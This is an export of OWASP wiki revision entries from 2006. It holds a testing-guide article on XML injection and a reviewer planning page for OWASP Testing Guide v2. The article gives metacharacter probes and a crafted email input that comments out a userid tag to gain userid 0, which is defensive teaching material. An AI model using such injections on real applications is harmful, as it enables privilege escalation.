		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12798</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12798"/>
				<updated>2006-11-15T19:07:31Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 15th November, 16.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Antonio Parata,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt; Meucci'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry (articles have been edited)'''&lt;br /&gt;
0 of 7 articles to be reviewed &lt;br /&gt;
** 4.4 Authentication Testing (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Authentication-Testing-Index-Page.aspx Authentication Testing Index]&lt;br /&gt;
** 4.4.1 Default or guessable (dictionary) user account (80%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Default-or-Guessable-User-Account-Testing-AoC.aspx Default or guessable user account review]&lt;br /&gt;
** 4.4.2 Brute Force (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Brute-Force-Testing-AoC.aspx Brute Force review]&lt;br /&gt;
** 4.4.3 Bypassing authentication schema (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Bypassing-Authentication-Schema-AoC.aspx Bypass Authentication review]&lt;br /&gt;
** 4.4.4 Directory traversal/file include (100%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Directory-Traversal-Testing-AOC.aspx Directory Traversal Testing review]&lt;br /&gt;
** 4.4.5 Vulnerable remember password and pwd reset (90%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Vulnerable-Remember-Password-and-Pwd-Reset-AoC.aspx Vulnerable Reset Password review]&lt;br /&gt;
** 4.4.6 Logout and Browser Cache Management Testing (100%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Logout-and-Browser-Cache-Management-Testing-AoC.aspx Logout and Browser Cache Management Testing review]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
** 4.5 Session Management Testing (95%)&lt;br /&gt;
** 4.5.1 Analysis of the Session Management Schema (90%)&lt;br /&gt;
** 4.5.2 Cookie and Session token Manipulation (100%)&lt;br /&gt;
** 4.5.3 Exposed session variables (90%)&lt;br /&gt;
** 4.5.4 Session Riding (XSRF) (80%)&lt;br /&gt;
** 4.5.5 HTTP Exploit (0%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 articles reviewed (3 are at 0%)&lt;br /&gt;
** 4.6 Data Validation Testing : Reviewed by EK&lt;br /&gt;
** 4.6.1 Cross site scripting: Reviewed by EK (Reformatted it slightly with wiki tags). '''Not completed'''&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Reviewed by EK&lt;br /&gt;
*** Not sure about &amp;quot;inferential&amp;quot; injection definition in &amp;quot;Description of Issue&amp;quot;&lt;br /&gt;
*** Added some reference to Oracle. Corrected English.&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) '''TD (not enough informations)'''&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. '''tools?'''&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.5 XML Injection (90%) Reviwed and updated by MM. Updated by AP. '''WP and tools?'''&lt;br /&gt;
** 4.6.6 SSI Injection (95%) Reviewed by MM &lt;br /&gt;
** 4.6.7 XPath Injection (80%) Reviewed by MM. '''Gray box section is to complete?'''&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)Reviewed by MM &lt;br /&gt;
** 4.6.9 Code Injection (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.10 OS Commanding (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%) Reviewed by MM. '''Note: these tests are not usual web app tests'''&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%) Reviewed by MM&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)Reviewed by MM&lt;br /&gt;
** 4.6.11.3 Format string (100%)Reviewed by MM&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) Reviewed by MM, whitepapers?&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing--&amp;gt; Revelli'''&lt;br /&gt;
8 of 8 articles Reviewed&lt;br /&gt;
** 4.7 Denial of Service Testing 100% Reviewed by Revelli&lt;br /&gt;
** 4.7.1 Locking Customer Accounts 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.2 Buffer Overflows 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.3 User Specified Object Allocation 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.4 User Input as a Loop Counter 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.5 Writing User Provided Data to Disk 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.6 Failure to Release Resources 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.7 Storing too Much Data in Session 100% Reviewd by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt; Matteo Meucci'''&lt;br /&gt;
6 of 6 articles reviewed&lt;br /&gt;
** 4.8 Web Services Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.1 XML Structural Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.2 XML content-level Testing (90%) Reviewed by Meucci&lt;br /&gt;
** 4.8.3 HTTP GET parameters/REST Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.4 Naughty SOAP attachments (95%) Reviewed by Meucci&lt;br /&gt;
** 4.8.5 Replay Testing (95%) Reviewed by Meucci. '''Need to add code examples, images and proof of impersonation'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
3 of 3 articles to be reviewed &lt;br /&gt;
** 4.9 AJAX Testing (70%)&lt;br /&gt;
** 4.9.1 Vulnerabilities (60%)&lt;br /&gt;
** 4.9.2 How to test (60%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt; Stefano Di Paola'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12795</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12795"/>
				<updated>2006-11-15T19:04:24Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section we describe a pratical example of XML Injection: first we define an xml style communication, and we show how it works. Then we describe the discovery method in which we try to insert xml metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an xml style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node on an xmlDb file.&lt;br /&gt;
Let's suppose xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user register himself by filling an html form, &lt;br /&gt;
the application will receive user's data in a standard request which&lt;br /&gt;
for the sake of simplicity will be supposed to be sent as GET request.&lt;br /&gt;
&lt;br /&gt;
For example the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
Will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to the application, which, afterwards, will build the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability, consists in trying to insert xml metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
A list of xml metacharacters is:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml&lt;br /&gt;
parsing if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted into attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The xml document will be no more well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
